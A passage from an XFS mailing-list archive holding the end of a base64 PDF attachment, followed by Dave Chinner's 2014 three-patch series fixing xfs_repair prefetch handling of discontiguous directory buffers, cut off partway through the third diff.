MSAwMDAwMCBuDQowMDAwMDMyMzgyIDAwMDAwIG4NCjAwMDAwMzI2MjAgMDAwMDAgbg0KMDAwMDAz Mjc0OCAwMDAwMCBuDQowMDAwMDMyNzc4IDAwMDAwIG4NCjAwMDAwMzI5MzQgMDAwMDAgbg0KMDAw MDAzMzAwOCAwMDAwMCBuDQowMDAwMDMzMjU1IDAwMDAwIG4NCjAwMDAwMzM2NzIgMDAwMDAgbg0K MDAwMDAzNzU4NiAwMDAwMCBuDQowMDAwMDQyNjcwIDAwMDAwIG4NCjAwMDAwNDU1MzggMDAwMDAg bg0KMDAwMDA0NzI5NiAwMDAwMCBuDQowMDAwMDQ3NDc3IDAwMDAwIG4NCjAwMDAwNDc3MjEgMDAw MDAgbg0KMDAwMDA0Nzg2MyAwMDAwMCBuDQowMDAwMDQ3ODkzIDAwMDAwIG4NCjAwMDAwNDgwNjMg MDAwMDAgbg0KMDAwMDA0ODEzNyAwMDAwMCBuDQowMDAwMDQ4Mzk4IDAwMDAwIG4NCjAwMDAwNDg1 MzAgMDAwMDAgbg0KMDAwMDA0ODU2MCAwMDAwMCBuDQowMDAwMDQ4NzIwIDAwMDAwIG4NCjAwMDAw NDg3OTQgMDAwMDAgbg0KMDAwMDA0OTAzNCAwMDAwMCBuDQowMDAwMDUwMjM1IDAwMDAwIG4NCjAw MDAwNTI0NTQgMDAwMDAgbg0KMDAwMDA1NDIxMyAwMDAwMCBuDQowMDAwMDU1NzI5IDAwMDAwIG4N CjAwMDAwNjM4ODAgMDAwMDAgbg0KMDAwMDA2NDEyOCAwMDAwMCBuDQowMDAwMDY0MTU1IDAwMDAw IG4NCjAwMDAwNjQxODIgMDAwMDAgbg0KMDAwMDA2NDc1NyAwMDAwMCBuDQowMDAwMDY1MzE1IDAw MDAwIG4NCjAwMDAwOTUzMTIgMDAwMDAgbg0KMDAwMDA5NTMzOSAwMDAwMCBuDQowMDAwMTE0ODQ4 IDAwMDAwIG4NCjAwMDAxMTUzNjEgMDAwMDAgbg0KMDAwMDE0MzU0OSAwMDAwMCBuDQowMDAwMTQz NjQ2IDAwMDAwIG4NCjAwMDAxNjU4NDUgMDAwMDAgbg0KMDAwMDE2NTg3MiAwMDAwMCBuDQowMDAw MTY2MzE5IDAwMDAwIG4NCjAwMDAyMzI1MDEgMDAwMDAgbg0KMDAwMDIzMjg0OCAwMDAwMCBuDQow MDAwMjMzMDk1IDAwMDAwIG4NCjAwMDAyMzM0MDQgMDAwMDAgbg0KMDAwMDI4NTMzOSAwMDAwMCBu DQowMDAwMjg1MzkwIDAwMDAwIG4NCjAwMDAyODU4MjEgMDAwMDAgbg0KMDAwMDMwNTY1NiAwMDAw MCBuDQowMDAwMzA1OTA1IDAwMDAwIG4NCnRyYWlsZXINCjw8L1NpemUgOTMvUm9vdCAxIDAgUi9J bmZvIDY5IDAgUi9JRFs8QjM2ODhERDQzOUY1QkU0MDkwOTRFMzA3RjlDNkZDN0Q+PEIzNjg4REQ0 MzlGNUJFNDA5MDk0RTMwN0Y5QzZGQzdEPl0gPj4NCnN0YXJ0eHJlZg0KMzA2NDA5DQolJUVPRg0K eHJlZg0KMCAwDQp0cmFpbGVyDQo8PC9TaXplIDkzL1Jvb3QgMSAwIFIvSW5mbyA2OSAwIFIvSURb PEIzNjg4REQ0MzlGNUJFNDA5MDk0RTMwN0Y5QzZGQzdEPjxCMzY4OERENDM5RjVCRTQwOTA5NEUz MDdGOUM2RkM3RD5dIC9QcmV2IDMwNjQwOS9YUmVmU3RtIDMwNTkwNT4+DQpzdGFydHhyZWYNCjMw ODQyNw0KJSVFT0Y= ------=_Part_134583_453282669.1390374968936-- From dave@fromorbit.com Wed Jan 22 01:17:24 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 11E427F58 for ; Wed, 22 Jan 2014 01:17:24 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id A26B1AC002 for ; Tue, 21 Jan 2014 23:17:23 -0800 (PST) X-ASG-Debug-ID: 1390375039-04bdf030ea74210003-NocioJ Received: from ipmail04.adl6.internode.on.net (ipmail04.adl6.internode.on.net [150.101.137.141]) by cuda.sgi.com with ESMTP id shYgqkXT8wsKMcdW for ; Tue, 21 Jan 2014 23:17:22 -0800 (PST) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.141 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AlsGAEtv31J5LKVw/2dsb2JhbABbgwu+Chd0giUBAQVWMwgYMTkDGxmIBMBwF5M+BKJwh0qDQSg Received: from ppp121-44-165-112.lns20.syd7.internode.on.net (HELO dastard) ([121.44.165.112]) by ipmail04.adl6.internode.on.net with ESMTP; 22 Jan 2014 17:47:19 +1030 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1W5s3p-0001YO-Kc for xfs@oss.sgi.com; Wed, 22 Jan 2014 18:17:17 +1100 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1W5s3p-0002jt-Js for xfs@oss.sgi.com; Wed, 22 Jan 2014 18:17:17 +1100 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 1/3] libxfs: add a flags field to libxfs_getbuf_map Date: Wed, 22 Jan 2014 18:17:11 +1100 X-ASG-Orig-Subj: [PATCH 1/3] libxfs: add a flags field to libxfs_getbuf_map Message-Id: <1390375033-10483-2-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.4.rc3 In-Reply-To: <1390375033-10483-1-git-send-email-david@fromorbit.com> References: <1390375033-10483-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail04.adl6.internode.on.net[150.101.137.141] X-Barracuda-Start-Time: 1390375041 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144351 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner It will be needed to make the repair prefetch code aware of compound buffers. Signed-off-by: Dave Chinner --- include/libxfs.h | 8 ++++---- libxfs/rdwr.c | 15 +++++++++------ libxfs/trans.c | 4 ++-- 3 files changed, 15 insertions(+), 12 deletions(-) diff --git a/include/libxfs.h b/include/libxfs.h index 4bf331c..2872410 100644 --- a/include/libxfs.h +++ b/include/libxfs.h @@ -392,9 +392,9 @@ extern struct cache_operations libxfs_bcache_operations; #define libxfs_getbuf(dev, daddr, len) \ libxfs_trace_getbuf(__FUNCTION__, __FILE__, __LINE__, \ (dev), (daddr), (len)) -#define libxfs_getbuf_map(dev, map, nmaps) \ +#define libxfs_getbuf_map(dev, map, nmaps, flags) \ libxfs_trace_getbuf_map(__FUNCTION__, __FILE__, __LINE__, \ - (dev), (map), (nmaps)) + (dev), (map), (nmaps), (flags)) #define libxfs_getbuf_flags(dev, daddr, len, flags) \ libxfs_trace_getbuf_flags(__FUNCTION__, __FILE__, __LINE__, \ (dev), (daddr), (len), (flags)) @@ -412,7 +412,7 @@ extern int libxfs_trace_writebuf(const char *, const char *, int, extern xfs_buf_t *libxfs_trace_getbuf(const char *, const char *, int, struct xfs_buftarg *, xfs_daddr_t, int); extern xfs_buf_t *libxfs_trace_getbuf_map(const char *, const char *, int, - struct xfs_buftarg *, struct xfs_buf_map *, int); + struct xfs_buftarg *, struct xfs_buf_map *, int, int); extern xfs_buf_t *libxfs_trace_getbuf_flags(const char *, const char *, int, struct xfs_buftarg *, xfs_daddr_t, int, unsigned int); extern void libxfs_trace_putbuf (const char *, const char *, int, @@ -427,7 +427,7 @@ extern xfs_buf_t *libxfs_readbuf_map(struct xfs_buftarg *, struct xfs_buf_map *, extern int libxfs_writebuf(xfs_buf_t *, int); extern xfs_buf_t *libxfs_getbuf(struct xfs_buftarg *, xfs_daddr_t, int); extern xfs_buf_t *libxfs_getbuf_map(struct xfs_buftarg *, - struct xfs_buf_map *, int); + struct xfs_buf_map *, int, int); extern xfs_buf_t *libxfs_getbuf_flags(struct xfs_buftarg *, xfs_daddr_t, int, unsigned int); extern void libxfs_putbuf (xfs_buf_t *); diff --git a/libxfs/rdwr.c b/libxfs/rdwr.c index 0219a08..bf92788 100644 --- a/libxfs/rdwr.c +++ b/libxfs/rdwr.c @@ -203,7 +203,8 @@ xfs_buf_t *libxfs_readbuf_map(struct xfs_buftarg *, struct xfs_buf_map *, int, int, const struct xfs_buf_ops *); int libxfs_writebuf(xfs_buf_t *, int); xfs_buf_t *libxfs_getbuf(struct xfs_buftarg *, xfs_daddr_t, int); -xfs_buf_t *libxfs_getbuf_map(struct xfs_buftarg *, struct xfs_buf_map *, int); +xfs_buf_t *libxfs_getbuf_map(struct xfs_buftarg *, struct xfs_buf_map *, + int, int); xfs_buf_t *libxfs_getbuf_flags(struct xfs_buftarg *, xfs_daddr_t, int, unsigned int); void libxfs_putbuf (xfs_buf_t *); @@ -255,9 +256,10 @@ libxfs_trace_getbuf(const char *func, const char *file, int line, xfs_buf_t * libxfs_trace_getbuf_map(const char *func, const char *file, int line, - struct xfs_buftarg *btp, struct xfs_buf_map *map, int nmaps) + struct xfs_buftarg *btp, struct xfs_buf_map *map, int nmaps, + int flags) { - xfs_buf_t *bp = libxfs_getbuf_map(btp, map, nmaps); + xfs_buf_t *bp = libxfs_getbuf_map(btp, map, nmaps, flags); __add_trace(bp, func, file, line); return bp; } @@ -582,7 +584,8 @@ libxfs_getbuf(struct xfs_buftarg *btp, xfs_daddr_t blkno, int len) } struct xfs_buf * -libxfs_getbuf_map(struct xfs_buftarg *btp, struct xfs_buf_map *map, int nmaps) +libxfs_getbuf_map(struct xfs_buftarg *btp, struct xfs_buf_map *map, + int nmaps, int flags) { struct xfs_bufkey key = {0}; int i; @@ -595,7 +598,7 @@ libxfs_getbuf_map(struct xfs_buftarg *btp, struct xfs_buf_map *map, int nmaps) key.map = map; key.nmaps = nmaps; - return __cache_lookup(&key, 0); + return __cache_lookup(&key, flags); } void @@ -775,7 +778,7 @@ libxfs_readbuf_map(struct xfs_buftarg *btp, struct xfs_buf_map *map, int nmaps, return libxfs_readbuf(btp, map[0].bm_bn, map[0].bm_len, flags, ops); - bp = libxfs_getbuf_map(btp, map, nmaps); + bp = libxfs_getbuf_map(btp, map, nmaps, 0); if (!bp) return NULL; diff --git a/libxfs/trans.c b/libxfs/trans.c index 6a05673..6c9d202 100644 --- a/libxfs/trans.c +++ b/libxfs/trans.c @@ -511,7 +511,7 @@ libxfs_trans_get_buf_map( xfs_buf_log_item_t *bip; if (tp == NULL) - return libxfs_getbuf_map(btp, map, nmaps); + return libxfs_getbuf_map(btp, map, nmaps, 0); bp = xfs_trans_buf_item_match(tp, btp, map, nmaps); if (bp != NULL) { @@ -522,7 +522,7 @@ libxfs_trans_get_buf_map( return bp; } - bp = libxfs_getbuf_map(btp, map, nmaps); + bp = libxfs_getbuf_map(btp, map, nmaps, 0); if (bp == NULL) return NULL; #ifdef XACT_DEBUG -- 1.8.4.rc3 From dave@fromorbit.com Wed Jan 22 01:17:24 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id B99AC7F59 for ; Wed, 22 Jan 2014 01:17:24 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 87F24304066 for ; Tue, 21 Jan 2014 23:17:21 -0800 (PST) X-ASG-Debug-ID: 1390375039-04bdf030ea74210001-NocioJ Received: from ipmail04.adl6.internode.on.net (ipmail04.adl6.internode.on.net [150.101.137.141]) by cuda.sgi.com with ESMTP id xXfrYzwtwDbUqQic for ; Tue, 21 Jan 2014 23:17:20 -0800 (PST) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.141 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AloGAEtv31J5LKVw/2dsb2JhbABbgwu+Chd0gwI7gQIDiDiVKKtfjxyEIgSicIdKg0Eo Received: from ppp121-44-165-112.lns20.syd7.internode.on.net (HELO dastard) ([121.44.165.112]) by ipmail04.adl6.internode.on.net with ESMTP; 22 Jan 2014 17:47:19 +1030 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1W5s3p-0001YN-K9 for xfs@oss.sgi.com; Wed, 22 Jan 2014 18:17:17 +1100 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1W5s3p-0002jq-J2 for xfs@oss.sgi.com; Wed, 22 Jan 2014 18:17:17 +1100 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 0/3] xfs_repair: fix discontiguous directory block Date: Wed, 22 Jan 2014 18:17:10 +1100 X-ASG-Orig-Subj: [PATCH 0/3] xfs_repair: fix discontiguous directory block Message-Id: <1390375033-10483-1-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.4.rc3 X-Barracuda-Connect: ipmail04.adl6.internode.on.net[150.101.137.141] X-Barracuda-Start-Time: 1390375039 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144351 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- Hi folks, This series fixes up one of the problems that was causing xfs/291 to fail on crc enabled filesystems. basically CRCs were failing on directory buffers because they weren't being treated as a discontiguous buffer correctly by prefetch and hence CRCs were only eve calculated over a portion of the directory block. Hence it threw lots of errors. Non CRC filesystems threw the same badness on lookup errors, but repair managed to rebuild the directory buffers sufficiently for things to work. Anyway, this patchset fixes the xfs_repair prefetch code to handle discontiguous buffers and so avoid all the noise that was being generated and the errors that were being triggered on CRC filesystems. This does no make xfs/291 pass on CRC filesystems. Making xfs_reapir work has pointed out that metadump's handling of multi-block directory buffers on CRC enable filesystems also appears to be broken. Fixing that is another patchset, however. Cheers, Dave. From dave@fromorbit.com Wed Jan 22 01:17:26 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id F28707F5E for ; Wed, 22 Jan 2014 01:17:25 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 882F5AC002 for ; Tue, 21 Jan 2014 23:17:22 -0800 (PST) X-ASG-Debug-ID: 1390375039-04bdf030ea74210002-NocioJ Received: from ipmail04.adl6.internode.on.net (ipmail04.adl6.internode.on.net [150.101.137.141]) by cuda.sgi.com with ESMTP id 7nV3xpwH2r2QVZNm for ; Tue, 21 Jan 2014 23:17:21 -0800 (PST) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.141 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AlsGAEtv31J5LKVw/2dsb2JhbABbgwu+Chd0giUBAQUnLzMIGDE5AxsZiATAcBePHIQiBKJwh0qDQSiBLiQ Received: from ppp121-44-165-112.lns20.syd7.internode.on.net (HELO dastard) ([121.44.165.112]) by ipmail04.adl6.internode.on.net with ESMTP; 22 Jan 2014 17:47:19 +1030 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1W5s3p-0001YP-L5 for xfs@oss.sgi.com; Wed, 22 Jan 2014 18:17:17 +1100 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1W5s3p-0002jy-KJ for xfs@oss.sgi.com; Wed, 22 Jan 2014 18:17:17 +1100 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 2/3] libxfs: remove map from libxfs_readbufr_map Date: Wed, 22 Jan 2014 18:17:12 +1100 X-ASG-Orig-Subj: [PATCH 2/3] libxfs: remove map from libxfs_readbufr_map Message-Id: <1390375033-10483-3-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.4.rc3 In-Reply-To: <1390375033-10483-1-git-send-email-david@fromorbit.com> References: <1390375033-10483-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail04.adl6.internode.on.net[150.101.137.141] X-Barracuda-Start-Time: 1390375040 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144351 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner The map passed in to libxfs_readbufr_map is used to check the buffer matches the map. However, the repair readahead code has no map it can use to validate the buffer it set up previously, so just get rid of the map being passed in because it serves no useful purpose. Signed-off-by: Dave Chinner --- db/io.c | 4 +--- include/libxfs.h | 3 +-- libxfs/rdwr.c | 12 ++---------- 3 files changed, 4 insertions(+), 15 deletions(-) diff --git a/db/io.c b/db/io.c index 123214d..d29816c 100644 --- a/db/io.c +++ b/db/io.c @@ -449,9 +449,7 @@ write_cur_bbs(void) /* re-read buffer from disk */ - ret = libxfs_readbufr_map(mp->m_ddev_targp, iocur_top->bp, - iocur_top->bbmap->b, iocur_top->bbmap->nmaps, - 0); + ret = libxfs_readbufr_map(mp->m_ddev_targp, iocur_top->bp, 0); if (ret != 0) dbprintf(_("read error: %s\n"), strerror(ret)); } diff --git a/include/libxfs.h b/include/libxfs.h index 2872410..bb0369f 100644 --- a/include/libxfs.h +++ b/include/libxfs.h @@ -448,8 +448,7 @@ extern void libxfs_putbufr(xfs_buf_t *); extern int libxfs_writebuf_int(xfs_buf_t *, int); extern int libxfs_writebufr(struct xfs_buf *); extern int libxfs_readbufr(struct xfs_buftarg *, xfs_daddr_t, xfs_buf_t *, int, int); -extern int libxfs_readbufr_map(struct xfs_buftarg *, struct xfs_buf *, - struct xfs_buf_map *, int, int); +extern int libxfs_readbufr_map(struct xfs_buftarg *, struct xfs_buf *, int); extern int libxfs_bhash_size; diff --git a/libxfs/rdwr.c b/libxfs/rdwr.c index bf92788..ac7739f 100644 --- a/libxfs/rdwr.c +++ b/libxfs/rdwr.c @@ -727,27 +727,19 @@ libxfs_readbuf(struct xfs_buftarg *btp, xfs_daddr_t blkno, int len, int flags, } int -libxfs_readbufr_map(struct xfs_buftarg *btp, struct xfs_buf *bp, - struct xfs_buf_map *map, int nmaps, int flags) +libxfs_readbufr_map(struct xfs_buftarg *btp, struct xfs_buf *bp, int flags) { int fd = libxfs_device_to_fd(btp->dev); int error = 0; char *buf; int i; - ASSERT(BBTOB(len) <= bp->b_bcount); - - ASSERT(bp->b_nmaps == nmaps); - fd = libxfs_device_to_fd(btp->dev); buf = bp->b_addr; for (i = 0; i < bp->b_nmaps; i++) { off64_t offset = LIBXFS_BBTOOFF64(bp->b_map[i].bm_bn); int len = BBTOB(bp->b_map[i].bm_len); - ASSERT(bp->b_map[i].bm_bn == map[i].bm_bn); - ASSERT(bp->b_map[i].bm_len == map[i].bm_len); - error = __read_buf(fd, buf, len, offset, flags); if (error) { bp->b_error = error; @@ -787,7 +779,7 @@ libxfs_readbuf_map(struct xfs_buftarg *btp, struct xfs_buf_map *map, int nmaps, if ((bp->b_flags & (LIBXFS_B_UPTODATE|LIBXFS_B_DIRTY))) return bp; - error = libxfs_readbufr_map(btp, bp, map, nmaps, flags); + error = libxfs_readbufr_map(btp, bp, flags); if (!error) { bp->b_flags |= LIBXFS_B_UPTODATE; if (bp->b_ops) -- 1.8.4.rc3 From dave@fromorbit.com Wed Jan 22 01:17:27 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id E7C537F59 for ; Wed, 22 Jan 2014 01:17:27 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id D21EB8F808E for ; Tue, 21 Jan 2014 23:17:24 -0800 (PST) X-ASG-Debug-ID: 1390375041-04cb6c750867bd0001-NocioJ Received: from ipmail04.adl6.internode.on.net (ipmail04.adl6.internode.on.net [150.101.137.141]) by cuda.sgi.com with ESMTP id CcaTvJ0xa1oGQZ18 for ; Tue, 21 Jan 2014 23:17:21 -0800 (PST) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.141 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AlwGAEtv31J5LKVw/2dsb2JhbABTCIMLvgoXdIIlAQEFJy8zCBgxOQMbGYgEwHAXjimFFQSqOoNBKA Received: from ppp121-44-165-112.lns20.syd7.internode.on.net (HELO dastard) ([121.44.165.112]) by ipmail04.adl6.internode.on.net with ESMTP; 22 Jan 2014 17:47:19 +1030 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1W5s3p-0001YQ-Lh for xfs@oss.sgi.com; Wed, 22 Jan 2014 18:17:17 +1100 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1W5s3p-0002k3-Km for xfs@oss.sgi.com; Wed, 22 Jan 2014 18:17:17 +1100 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 3/3] repair: fix discontiguous directory block support Date: Wed, 22 Jan 2014 18:17:13 +1100 X-ASG-Orig-Subj: [PATCH 3/3] repair: fix discontiguous directory block support Message-Id: <1390375033-10483-4-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.4.rc3 In-Reply-To: <1390375033-10483-1-git-send-email-david@fromorbit.com> References: <1390375033-10483-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail04.adl6.internode.on.net[150.101.137.141] X-Barracuda-Start-Time: 1390375041 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144352 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner xfs/291 tests fragmented multi-block directories, and xfs_repair throws lots of lookup badness errors in phase 3: - agno = 1 7fa3d2758740: Badness in key lookup (length) bp=(bno 0x1e040, len 4096 bytes) key=(bno 0x1e040, len 16384 bytes) - agno = 2 7fa3d2758740: Badness in key lookup (length) bp=(bno 0x2d0e8, len 4096 bytes) key=(bno 0x2d0e8, len 16384 bytes) 7fa3d2758740: Badness in key lookup (length) bp=(bno 0x2d068, len 4096 bytes) key=(bno 0x2d068, len 16384 bytes) - agno = 3 7fa3d2758740: Badness in key lookup (length) bp=(bno 0x39130, len 4096 bytes) key=(bno 0x39130, len 16384 bytes) 7fa3d2758740: Badness in key lookup (length) bp=(bno 0x391b0, len 4096 bytes) key=(bno 0x391b0, len 16384 bytes) 7fa3d2758740: Badness in key lookup (length) This is because it is trying to read a directory buffer in full (16k), but is finding a single 4k block in the cache instead. The opposite is happening in phase 6 - phase 6 is trying to read 4k buffers but is finding a 16k buffer there instead. The problem is caused by the fact that directory buffers can be represented as compound buffers or as individual buffers depending on the code reading the directory blocks. The main problem is that the IO prefetch code doesn't understand compound buffers, so teach it about compound buffers to make the problem go away. Signed-off-by: Dave Chinner --- repair/prefetch.c | 121 ++++++++++++++++++++++++++++++++++++++++++++---------- 1 file changed, 100 insertions(+), 21 deletions(-) diff --git a/repair/prefetch.c b/repair/prefetch.c index d3491da..ab90b92 100644 --- a/repair/prefetch.c +++ b/repair/prefetch.c @@ -105,11 +105,12 @@ pf_start_io_workers( static void pf_queue_io( prefetch_args_t *args, - xfs_fsblock_t fsbno, - int blen, + struct xfs_buf_map *map, + int nmaps, int flag) { - xfs_buf_t *bp; + struct xfs_buf *bp; + xfs_fsblock_t fsbno = XFS_DADDR_TO_FSB(mp, map[0].bm_bn); /* * Never block on a buffer lock here, given that the actual repair @@ -117,8 +118,7 @@ pf_queue_io( * the lock holder is either reading it from disk himself or * completely overwriting it this behaviour is perfectly fine. */ - bp = libxfs_getbuf_flags(mp->m_dev, XFS_FSB_TO_DADDR(mp, fsbno), - XFS_FSB_TO_BB(mp, blen), LIBXFS_GETBUF_TRYLOCK); + bp = libxfs_getbuf_map(mp->m_dev, map, nmaps, LIBXFS_GETBUF_TRYLOCK); if (!bp) return; @@ -167,6 +167,14 @@ pf_read_bmbt_reclist( xfs_bmbt_irec_t irec; xfs_dfilblks_t cp = 0; /* prev count */ xfs_dfiloff_t op = 0; /* prev offset */ +#define MAP_ARRAY_SZ 4 + struct xfs_buf_map map_array[MAP_ARRAY_SZ]; + struct xfs_buf_map *map = map_array; + int max_extents = MAP_ARRAY_SZ; + int nmaps = 0;; + unsigned int len = 0; + int ret = 0; + for (i = 0; i < numrecs; i++) { libxfs_bmbt_disk_get_all(rp + i, &irec); @@ -174,11 +182,11 @@ pf_read_bmbt_reclist( if (((i > 0) && (op + cp > irec.br_startoff)) || (irec.br_blockcount == 0) || (irec.br_startoff >= fs_max_file_offset)) - return 0; + goto out_free; if (!verify_dfsbno(mp, irec.br_startblock) || !verify_dfsbno(mp, irec.br_startblock + irec.br_blockcount - 1)) - return 0; + goto out_free; if (!args->dirs_only && ((irec.br_startoff + irec.br_blockcount) >= mp->m_dirfreeblk)) @@ -188,18 +196,60 @@ pf_read_bmbt_reclist( cp = irec.br_blockcount; while (irec.br_blockcount) { - unsigned int len; + unsigned int bm_len; pftrace("queuing dir extent in AG %d", args->agno); - len = (irec.br_blockcount > mp->m_dirblkfsbs) ? - mp->m_dirblkfsbs : irec.br_blockcount; - pf_queue_io(args, irec.br_startblock, len, B_DIR_META); - irec.br_blockcount -= len; - irec.br_startblock += len; + if (len + irec.br_blockcount >= mp->m_dirblkfsbs) { + bm_len = mp->m_dirblkfsbs - len; + len = 0; + } else { + len += irec.br_blockcount; + bm_len = irec.br_blockcount; + } + + map[nmaps].bm_bn = XFS_FSB_TO_DADDR(mp, + irec.br_startblock); + map[nmaps].bm_len = XFS_FSB_TO_BB(mp, bm_len); + nmaps++; + + if (len == 0) { + pf_queue_io(args, map, nmaps, B_DIR_META); + nmaps = 0; + } + + irec.br_blockcount -= bm_len; + irec.br_startblock += bm_len; + + /* + * Handle very fragmented dir2 blocks with dynamically + * allocated buffer maps. + */ + if (nmaps >= max_extents) { + struct xfs_buf_map *old_map = NULL; + + if (map == map_array) { + old_map = map; + map = NULL; + } + max_extents *= 2; + map = realloc(map, max_extents * sizeof(*map)); + if (map == NULL) { + do_error( + _("couldn't malloc dir2 buffer list\n")); + exit(1); + } + if (old_map) + memcpy(map, old_map, sizeof(map_array)); + } + } } - return 1; + ret = 1; +out_free: + if (map != map_array) + free(map); + return ret; } /* @@ -395,9 +445,28 @@ pf_read_inode_dirs( } /* - * pf_batch_read must be called with the lock locked. + * Discontiguous buffers require multiple IOs to fill, so we can't use any + * linearising, hole filling algorithms on them to avoid seeks. Just remove them + * for the prefetch queue and read them straight into the cache and release + * them. */ +static void +pf_read_discontig( + struct prefetch_args *args, + struct xfs_buf *bp) +{ + if (!btree_delete(args->io_queue, XFS_DADDR_TO_FSB(mp, bp->b_bn))) + do_error(_("prefetch corruption\n")); + + pthread_mutex_unlock(&args->lock); + libxfs_readbufr_map(mp->m_ddev_targp, bp, 0); + libxfs_putbuf(bp); + pthread_mutex_lock(&args->lock); +} +/* + * pf_batch_read must be called with the lock locked. + */ static void pf_batch_read( prefetch_args_t *args, @@ -426,8 +495,15 @@ pf_batch_read( max_fsbno = fsbno + pf_max_fsbs; } while (bplist[num] && num < MAX_BUFS && fsbno < max_fsbno) { - if (which != 